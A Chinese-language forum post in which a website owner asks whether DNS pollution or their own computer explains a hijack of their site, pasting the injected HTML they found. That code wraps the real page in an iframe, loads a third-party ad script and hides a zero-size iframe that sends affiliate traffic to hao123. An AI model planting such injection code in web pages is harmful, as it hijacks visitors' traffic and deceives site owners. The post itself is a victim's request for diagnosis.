这是DNS污染还是自己电脑的问题

各位好：

最开始的情况是，自己网站的title显示不出来，因为是自己在运营的网站，很快就发现了。

chrome使用Ctrl+U、右击查看源代码，看到的内容不一样

ctrl+u查看的代码
<html><head><style>*{padding:0;margin:0;}</style><style id="clearly_highlighting_css" type="text/css">/* selection */ html.clearly_highlighting_enabled ::-moz-selection { background: rgba(246, 238, 150, 0.99); } html.clearly_highlighting_enabled ::selection { background: rgba(246, 238, 150, 0.99); } /* cursor */ html.clearly_highlighting_enabled { /* cursor and hot-spot position -- requires a default cursor, after the URL one */ cursor: url("chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/clearly/images/highlight--cursor.png") 14 16, text; } /* highlight tag */ em.clearly_highlight_element { font-style: inherit !important; font-weight: inherit !important; background-image: url("chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/clearly/images/highlight--yellow.png"); background-repeat: repeat-x; background-position: top left; background-size: 100% 100%; } /* the delete-buttons are positioned relative to this */ em.clearly_highlight_element.clearly_highlight_first { position: relative; } /* delete buttons */ em.clearly_highlight_element a.clearly_highlight_delete_element { display: none; cursor: pointer; padding: 0; margin: 0; line-height: 0; position: absolute; width: 34px; height: 34px; left: -17px; top: -17px; background-image: url("chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/clearly/images/highlight--delete-sprite.png"); background-repeat: no-repeat; background-position: 0px 0px; } em.clearly_highlight_element a.clearly_highlight_delete_element:hover { background-position: -34px 0px; } /* retina */ @media (min--moz-device-pixel-ratio: 2), (-webkit-min-device-pixel-ratio: 2), (min-device-pixel-ratio: 2) { em.clearly_highlight_element { background-image: url("chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/clearly/images/highlight--yellow@2x.png"); } em.clearly_highlight_element a.clearly_highlight_delete_element { background-image: url("chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/clearly/images/highlight--delete-sprite@2x.png"); background-size: 68px 34px; } } </style><style>[touch-action="none"]{ -ms-touch-action: none; touch-action: none; }[touch-action="pan-x"]{ -ms-touch-action: pan-x; touch-action: pan-x; }[touch-action="pan-y"]{ -ms-touch-action: pan-y; touch-action: pan-y; }[touch-action="scroll"],[touch-action="pan-x pan-y"],[touch-action="pan-y pan-x"]{ -ms-touch-action: pan-x pan-y; touch-action: pan-x pan-y; }</style></head>
<body style="overflow:hidden;">
<script type="text/javascript">
function h(){try{var b=document.getElementById('i123');
if(document.getElementById){
if(b && !window.opera){
x=b.contentdocument;
y=b.document;
if(x && x.documentElement.offsetHeight){
b.height = x.documentElement.offsetHeight+50}
else if(y && y.body.scrollHeight){
b.height = y.body.scrollHeight+20}
}}}catch(err){}}
function c(){document.getElementById('footer').style.display='none'}
</script>
<div style="width:100%;height:100%;background:#fff;overflow:hidden;">
<iframe id="i123" scrolling="auto" width="100%" height="100%" src="" style="border:0px;" frameborder="0"></iframe>
</div>
<script type="text/javascript">frames[0].location=window.location</script>
<script src="http://b.ebeik.com/ads/sep_sdhtstb.js" type="text/javascript">
</script><style>#footer{position:fixed; _position:absolute;z-index:2000;background:#fff;right:20;bottom:0;width:0px;height:0px;}</style><div id="f112316"><iframe scrolling="no" width="0" src="http://www.hao123.com/?tn=95955747_hao_pg" height="0" frameborder="0"></iframe></div>
</body></html>

右击查看源代码就是我的网站正常的代码

最近两天就出现访问自己的网站chrome拦截弹窗了

一直搞不懂这是怎么个情况才会出现这样的问题了

个人还算注重安全......

还请各位讨论交流下..